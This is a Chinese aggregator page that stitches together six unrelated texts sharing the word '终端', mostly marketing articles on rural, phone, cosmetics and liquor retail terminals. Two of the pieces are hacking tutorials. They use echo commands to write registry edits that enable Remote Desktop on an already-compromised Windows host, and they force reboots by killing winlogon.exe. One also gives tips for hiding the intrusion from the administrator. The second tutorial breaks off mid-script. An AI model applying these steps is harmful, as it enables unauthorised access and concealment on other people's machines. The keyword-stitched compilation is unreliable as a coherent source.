如何开启农村终端市场？
“思域大战雅马哈”通过精心收集，向本站投稿了6篇如何开启农村终端市场？，下面小编给大家带来如何开启农村终端市场？，希望能帮助到大家!
篇1：如何开启农村终端市场？
中国有9亿多农民，农村剩余劳动力正在以高速发展进军城市，农民的消费力在不断地提升，并已经超越了十年前的城市消费力……或许这些分析是不确切的，是不科学的，但是，一个很肯定的信息告诉了我们：农村终端市场正在受到社会各界的注意，如何更好开启农村终端市场成了未来企业更好发展的基础，
从城市到农村的必然性
一个世纪的商业发展史告诉我们：企业的发展是从城市开始的。中国的企业也走不出这个“乾坤”。在经过将近30年的改革开放，中国城市的发展已经初具规模，各种商品琳琅满目，一片欣欣向荣的景象成为事实。然而，城市的消费力已经基本达到满足，再要有所提升又遇到诸多困难的时候，不少的企业开始了对农村终端市场的开拓和探索。
曾有不少的营销大师们都普遍认为，要想进入农村终端市场，最最重要的就是资本，失去了资本的支持，“根本就没有办法进入农村终端市场”。
当中国企业在看着一大块的农村终端市场“流口水，却不敢碰”的时候，不少的外资企业出手了。也许宝洁不是最早的，但是宝洁的“ROAD SHOW”却着实让中国的老百姓们欣喜了一阵子。除了宝洁自己外，没有人清楚宝洁在其中是否达到了其目的，不过，宝洁在农村终端市场却多少让人知道了那么一点。
从这点我们也可以看得出来，即使像宝洁公司这样有着巨大资本支持的企业，要想在中国的农村终端市场站住脚跟，显然还是不够的。而这个时候，我们又联想到了非常可乐。
非常可乐是土生土长的中国企业，她的成功就是靠着“非常可乐，喝中国人自己的可乐”发家的。在那个时代，不少的企业都打着民族的旗号成长起来了，非常可乐只不过是做了比较好的一个。
非常可乐从农村终端市场上成长起来了，吸引了不少其他想进军农村终端市场的企业，
虽然都知道在城市的环境下，激烈的竞争已经让很多的企业几乎喘不过气来，但是，农村终端市场具有9亿多的消费力，“哪怕是卖一块钱，只要有8亿人消费了，我们就可以赚钱”，雄心勃勃的企业家们看着肥肉般的农村终端市场，口水都流得可以装满盆了！
农村终端市场的自发性
在农村生长过的朋友都知道，农村终端市场具有很明显的自发性质。所以，农村市场的活跃期基本上都聚集在赶集或墟日，还有就是过年过节的时候，都是农村市场最活跃的时期。
农村活跃期一过，就重又进入了“休眠时期”，产品的销售就会劲减。这种情况使得很多的不明农村情况的厂家或者大经销商会将那些在农村市场活跃的小经销商臭骂一顿。
“没有调查就没有发言权”，只是对于农村终端市场的这种自发性的“经济规律”，在不少的大经销商们那里失去了“威力”。也许在他们的意识里，农村终端市场应该和城市市场差不了多少的，一时的疲软一时的兴起都是很正常的，所以，在对那些农村终端市场的小经销商们的要求非常严格，在做法上也要求那些小经销商们按照他们的一套去做，或者，在南方的农村市场和北方的农村市场一样做。这无疑是没有任何意义的。
农村终端市场的自发性其实都是由于历史原因所造成的，这就可以拿农村终端市场的活跃期来说，北方人将这个活跃的时候一般叫做赶集，而南方人则将其叫做墟日。不同的叫法也是具有不同的意思，不过这不在我们讨论的范围，所以暂且不说。
自发性的市场“规律”，使得活跃在农村终端市场的经销商们都是根据活跃期来搞促销等活动，限制了其完全按照城市的一套宣传推广做得如此庞大和相对破费。而且，一个促销活动的进行，还需要考虑到农村人的思想心理等因素。由此可见，农村终端市场的自发性其实也是在向想进军农村终端市场的企业说明：要想在农村市场待下去，里面的规律一定要慎重考虑。
篇2：手机市场如何做终端
终端市场是厂家实现销售的最重要载体，因此，对于终端市场的争夺就成了厂家竞争中的重点。尤其是在目前以连锁大卖场、手机一条街、区域性的手机连锁卖场为中心的手机终端市场，是手机厂家冲刺全年销售目标、完成全年销售任务的最重要根据地。因此，如何有效地利用这些销售渠道和终端，及时地推进本品牌手机销售成为了手机厂家在终端竞争的最重要表现形式。
作为终端市场，其特殊性表现在厂商之间的合作关系。而且在连锁大卖场日益在终端市场中的地位越来越突出的时候，颇有点“挟天子以令诸侯”和“店大欺客”的味道。因此，作为手机厂家，如何在终端市场的操作中做到有理、有利、有节，充分发挥终端渠道的优势，促进本品牌手机的销售，是一门很大的学问。在这里，笔者仅以某手机品牌的终端市场操作为例，说明终端市场操作的一些基本特征和操作方式，希望对大家有所借鉴。
一、 终端市场店面的层次划分
根据目前市场的终端卖场特征将其分为A、B、C、D、E五大类，每个大类中在根据终端卖场所在城市的消费指数和总体容量分为Ⅰ、Ⅱ、Ш级。
1、 五大类的划分
A、移动、联通的营业厅
B、以零售为主的通讯市场
C、有手机销售的大商场、超市
D、连锁大卖场
E、除上述四类之外的各种手机零售店
2、所在城市的分级：
（1）、Ⅰ级：直辖市、省会城市、计划单列市
（2）、Ⅱ级：地级城市
（3）、Ш级：县级城市及经济发达的乡镇
二、店面类别构成
A类店：每个Ⅱ级以上城市应积极进入移动和联通营业厅，销售额需要占到区域总销量目标的5％，
B类店：是目前我品牌手机出货比较集中的店，主要是以各种形式出现的通讯市场、手机市场。同时这些店面也是手机销售的重点渠道之一，销售量要占到区域总销量目标的25％――30％。并尽量最大可能争取将有条件的终端包装成品牌专卖店，包括完整的形象专区、出入口的门头、灯箱、灯柱、市场内的路牌、指示灯箱以及户外喷绘广告牌等。
C类店：主要是各大中城市中有手机销售的大型商场和超市等，有较好的品牌展示作用，是将来终端销量提升比较有潜力的市场，销售量要求占到区域总目标的15％――20％。
D类店：是目前手机终端销售的重点，也是各厂家争夺的核心。我们必须尽最大努力争夺，尽量采取战略合作的方式实现双赢。要求销量占到区域总销量目标的35％――40％。
E类店：主要是零散的手机店，包括夫妻档、米柜等。虽然不起眼，但也不能小觑，销量要求占到总目标的5％左右。
三、 选店原则
（1）、有突出的销售业绩。
要求单个零售店每月销售手机在所在地区销量排名前列或者符合以下标准：大卖场不低于100台/月；省级中心城市不少于80台/月；地级市不少于50台/月。
（2）、较好的地理位置、较大的人流量，有利于展示公司的品牌形象。
（3）、能积极地支持配合公司的营销方针、政策、各种促销推广活动，对公司品牌有较高的忠诚度。
（4）、原则上以地市级城市、中心城市为主，县级及以下的乡镇市场的首选条件是良好的业绩、极好的品牌展示和很高的品牌忠诚度。
四、厂家承担的终端建设内容
（1）、专柜的制作。由厂家统一制作，统一提供，归档管理，并签订进场合同，明确双方的权利和义务。目的是为了做到专柜专用，不得摆放其他品牌的手机，以最大限度地促进我品牌手机的销售。
（2）、灯箱、背板、门头：主要是以企业形象和品牌形象为主，强调厂家的VI系统，全面展示厂家的品牌形象。
（3）、专区：由两节公司专柜组成的一个相对独立的公司手机产品专卖区域或者形象展示区域，重点是产品的销售，其次才是公司的形象和品牌展示。
篇3：winXp和win开启终端方法的探讨
作者：haicao 来 源：haicao.126.com
终端服务对wind作者：haicaoows的用户来说是一种特殊的管理方法，尽管UNIX早就有这样的管理方式了,终端服务允许管理员方便的从远程以图形界面的方式管理和维护服务器，当然也极大的方便了网络安全爱好者和 们，win server版以上才可以安装终端服务。xp和2003同样可以安装终端服务。
在winxp中termservice服务默认是设为自动启动的，但奇怪的是并没有开3389端口，后来发现只要改注册表中的一个键值便可以启动它的3389服务，具体就是把HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server下的dword键fDenyTSConnections值改为dword:00000000(原值dword:00000001)，
很多情况下是通过溢出等方法得到的是对方的shell，在这种情况下，用tftp上传文件一般不太可能，用webdown.vbs及ftp -s:file的方法也比较麻烦，所以利用echo到一个reg文件然
后再导入非常的方便。方法如图：
这样的方法开启3389不用重启，，，方便吧~~~
经过试验这样的方法同样适合于win2003的终端启用。
虽然xp下的终端一般情况没有多大意义，原因在于用终端登陆上去后本机上的用户会自动退出。（当然并没注销）但有些时候我们可以先用Radmin等图形软件先看管理员是不是在操作计算机后用终端的方式登录上去。做完该做的事后再用Radmin等软件帮他登陆一下，这样一般人是很难发现自己的机子曾被登陆过的。当然调出任务管理器->用户那边还是可以看到刚才登陆的用户的状态显示断开这样的字样。
篇4：开启终端的最简单方法全攻略
今天介绍的这种开终端的方法，绿色，环保，无污染~~
不须上传任何文件开启终端的方法适合win2k,XP,.
本文前提是已经通过某种方法得到了对方的一个SYSTEM权限的CMDSHELL~~
在无须传任何文件的情况下开启终端服务，
一、win2k下终端开启终端
首先用ECHO写一个3389.reg文件,然后导入到注册表，echo代码如下：
echoWindowsRegistryEditorVersion5.00>>3389.reg
echo[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionnetcache]>>3389.reg
echo“Enabled”=“0”>>3389.reg
echo[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWinlogon]>>3389.reg
echo“ShutdownWithoutLogon”=“0”>>3389.reg
echo[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller]>>3389.reg
echo“EnableAdminTSRemote”=dWord:00000001>>3389.reg
echo[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServer]>>3389.reg
echo“TSEnabled”=dword:00000001>>3389.reg
echo[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD]>>3389.reg
echo“Start”=dword:00000002>>3389.reg
echo[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermService]>>3389.reg
echo“Start”=dword:00000002>>3389.reg
echo[HKEY_USERS.DEFAULTKeyboardLayoutToggle]>>3389.reg
echo“Hotkey”=“1”>>3389.reg
echo[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerWdsrdpwdTdstcp]>>3389.reg
echo“PortNumber”=dword:00000D3D>>3389.reg
echo[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerWinStationsRDP-Tcp]>>3389.reg
echo“PortNumber”=dword:00000D3D>>3389.reg
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件，接着regedit/s3389.reg导入注册表，
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)
因为win2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效。
一个简单的办法就是用ntsd.exe(win2k以上自带的命令)结束一个重要的进程就可以实现机器重启了！！
比如结束winlogon.exe,lsass.exe也可以但结束后会跳出重启倒计时(不太好~)
winlogon.exe被关闭后机器立刻强制重启了
命令执行格式为ntsd-cq-pPID
那如何知道winlogon.exe的PID进程号呢~
以下这个脚本可以列举当前所有进程的PID：
wscript.echo“PIDProcessName”
foreachpsingetobject(“winmgmts:\.rootcimv2:win32_process”).instances_
wscript.echops.handle
篇5：化妆品终端市场启动操作手册
经营机构筹备―营销团队管理―销售渠道设计――进场业务洽谈――上架（柜）陈列布货――硬终端陈列―软终端促销――市场维护跟进――经营风险防范――销售业绩提升
一、经营机构筹备1、资金准备
一定的资金准备是顺利启动经营的必要条件，在初期阶段，应考虑资金准备的项目主要有：
① 与公司签订合同后的首批进货款。
② 计划中准备进场的部分卖场需预交的一些费用。
③ 员工拟在下月发放的工资。
④ 房租费（办公场所及仓库）和办公用品购置的支出。
⑤ 预留的应急备用金。
一般情况下，在一个中等规模的地市级市场以直控终端的模式经营，如运作得当，前期约需启动资金6―8万元。
2、经营及办公场所布置
在考虑交通便利性的同时，应注意经营及办公场所的安全性，一般不宜租用临街门面，以免过于招摇。
① 仓库所在楼层以三楼以下为佳，最好与办公共场所隔离并有一定的隐蔽性。
② 办公场所应考虑员工集会与培训的适用性，室内可布置与公司产品及企业文化相关的一些必需招贴画、表格、规章制度栏，以营造团队气氛。
3、组织机构设置
营销团队是市场拓展的保障，在集约高效的原则下，新入市场的营销团队一般由经理、会计、仓管、业务主管、促销主管、促销人员、送货员等组成，并可根据区域大小及经营规模进行适当调整，如一专多能或兼职。
●以上人员招聘的途径主要有：
① 从同行业其它品牌或保健品、家电以及食品、饮料等快速消费品行业内优秀的现职业务员和促销员中挖角招募。
② 借助社会职介机构，招聘高中以上文化的待业女青年或年轻的下岗失业女工。
③ 先录用人员的推荐介绍。
由于化妆品行业的特殊性，对促销员的肤色、容貌、身材应有一定要求。另，所有员工应建立个人招聘入职档案，部份关键岗位应提供担保材料。
4、合法经营
经营启动后，应尽快向所在地工商、税务部门申报必需的合法注册手续，初期建议以个体工商户的形式注册“XXX贸易商行”，
二、营销团队管理1、员工队伍培训
员工是企业的第一财富。优秀的员工不是也不可能是依赖招募而来，而是组织苦心培训的结果。因此经营启动之初，培训是当务之急。培训的内容应包括：企业文化、组织纪律、产品知识、促销技巧、精神激励。
●培训可利用的材料主要有：
公司《促销手册》、《有情系列化妆品手册》、公司内部刊物《有情阵线》、产品宣传单等等。
营销团队的首要任务是占领市场、销售产品，而坚实的产品知识是促销的基础。
●因此新品入市培训中，应要求员工必须掌握以下知识：
① 熟知产品品种、品名、规格。
② 具备人体皮肤、头发基本生理及美容护理常识。
③ 牢记各产品成份及各成份的作用与功效。
④ 顾客常见疑难问题解答。
2、激励机制
●激励机制主要包括：薪酬、评比、晋升。
① 薪酬。促销人员一般采用“底薪+提成”的工资方案，员工个人工资总额一般占其销售额的10――15%，当然市场启动初期，为调动员工积极性，亦可酌情实施特殊方案。
② 评比。主要设立周销售奖、月销售奖（包括：销售额排名奖、销售额上升进步奖等项目），以奖励先进员工实物或现金的方式进行鼓励。
③ 晋升。随着组织的发展壮大，一方面可根据员工业绩、水平对促销员进行技能等级评定，如：一级促销、二级促销、三级促销等，并适当增加津贴；另一方面可采用虚位竞争方式，将优秀促销员逐步提升到促销组长、促销主管、业务员的岗位。
3、考评管理
员工的考评管理必须量化、表格化、制度化。
① 对业务员、促销主管的考评指标主要有：产品陈列与理货、客情关系处理、促销员管理、促销活动组织与开展、巡场次数、市场资讯收集与调查、终端网点开发等项目。
●该岗位员工应填写的表格有：
A、巡场记录表
B、卖场经营情况调查表
C、周/月工作计划表
D、促销活动评估表。
② 对促销员的考评指标主要有：产品陈列与理货、客情关系处理、出勤、销售业绩。
●促销员应填写的报表有：
A、销量周报表
B、盘存月报表
C、赠品发放核销表
D、顾客消费档案（以及积分卡）
③ 3、例会制度。例会分为周例会、月例会，其目的是利用例会培训员工、交流经验、安排工作、传达指示、鼓舞士气，以养成员工团队精神，增强组织凝聚力。
篇6：终端利润决定市场成败
近几年，随着营销重心的下沉，终端已经成为营销管理的核心，谁抓住了终端，谁就抓住了开启市场的金钥匙，尽管大家对终端越来越重视，对终端抓的越来越紧，但是因为终端处于渠道的末端，因此，对终端的利润往往关注不够。尤其是在终端碎片化的情况下，市场状况变得越来越复杂，一个细节管理不到位，就会影响到终端利润，从而影响到整个市场。
终端亏损导致市场“夹生饭”
做酒类营销的人有一个同感，就是流通渠道不好管理。二批喜欢打价格战，对二批商管理不善，不但影响渠道秩序，还可能影响到渠道秩序。随着烟酒店的兴盛，酒类二批和流通终端的关系也越来越复杂，有些烟酒店即是二批，也是终端，在一定程度上增加了二批的管理难度。如果在营销管理中稍不留神，就可能伤害零售终端的利润。伤害了零售终端的利润，就等于挫伤了他们的积极性和信心，对市场、尤其是对成长期市场的打击是可想而知的。
案例：2006年，河北某区域品牌开发邯郸市场。为了能够保证绝对成功，他们组建了一个30人的营销队伍，准备了几百万的启动资金，电视、户外、车体广告密集投放，酒店、商超的铺货和促销有力度，也有影响力，活动一个接着一个，尤其是邯郸市随处可见的烟酒店，这个区域品牌给予了特别的重视。门头广告、铺货、陈列做得都很到位。由于各渠道的铺货和广告影响，消费热情很快被点燃了，销量与日俱增，市场很快进入了成长期。一个月后，企业开放了流通渠道，希望借助二批的力量，对当前的销售形势有一个新的促进。
就在这个时候，烟酒店的零售价格开始出现问题。比如，6年陈刚上市的时候，厂家铺货，烟酒店的零售价78元每瓶；但是，随着二批渠道的开放、相关促销政策的执行，6年陈的价格开始走低。一方面，获得较低进货价的二批，给零售供货的价格降低了，另一方面，部分批发兼零售的二批，为了出货和争夺客户，也开始大幅调低零售价。6年陈的零售价格很快从78元降到75元，之后又下滑到70元。而前期企业直接铺货的烟酒店，因为进货价高，出现了滞销，为了回转资金，有些烟酒店不得不赔钱销售，严重挫伤了他们的销售热情，对该产品的信心也大幅降低，
因为零售终端没了销售热情，开始冷落这个品牌。眼看要火起来的市场成了一锅不温不火的“夹生饭”。由此可见，铺市，一定要留心终端的利润。
提高终端利润撬开新市场
通常情况下，流通渠道的利润是逐层降低的，代理商获得了较大部分，其次是二批，再次是终端。所以，零售终端的利润通常情况下都是较低的。
近几年，在渠道多元化、终端碎片化趋势下，酒店渠道功能弱化，而自带酒水趋势让烟酒店的作用开始增强。但是，传统上零售终端不被重视、低利润经营的情况并没有改善。正是洞察和把握了这一现状，某新型高端酒在聊城烟酒店的利润上大做文章，获得了挤进市场的机会，并迅速打败对手，抢占了高端酒的市场。
案例：2007年该高端酒进入聊城时，聊城高端酒市场几乎被国窖1573所垄断。国窖1573的广告力度很大，渠道利润也不低，烟酒店的门头广告几乎被国窖1573所垄断。在这样一个铁桶一样的市场，市场知名度低、没有消费基础的新产品该怎么切入市场呢？
通过对市场的走访，该品牌的事业部经理发现，虽然聊城的烟酒店终端仍旧在销售国窖1573，但是热情并不高。原因是国窖1573的渠道利润虽然不低，但是被层层瓜分，到烟酒店这一级，利润空间已经很有限。该品牌立刻意识到这是进入市场的机会。为了获得终端的支持，他们采取了拆分渠道价值链，把利润空间向烟酒店倾斜，同时配合其他措施，把烟酒店的潜力充分挖掘起来。该品牌的管理措施有以下几点：
1．跟烟酒店订立合同，一方面是规范运作，一方面用于体现烟酒店在企业合作中的地位，改变了以往烟酒店由二批管理、和企业关系松散的局面，使烟酒店体会到被重视的感觉。
2．把利润空间向烟酒店倾斜，相比于竞品，该品牌在烟酒店的利润明显高出不少，使烟酒店的销售热情被激发出来。
3．通过举办高尔夫活动等形式，拉近企业与烟酒店及其团购大客户的关系，把烟酒店及其团购大客户奉为渠道上宾。
通过把利润向烟酒店倾斜，重点运作烟酒店终端，该品牌在聊城迅速切入市场，并在当年销售突破了2千万。
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6.元旦终端促销方案
8.终端销售培训心得
10.终端促销会邀请函
文档为doc格式
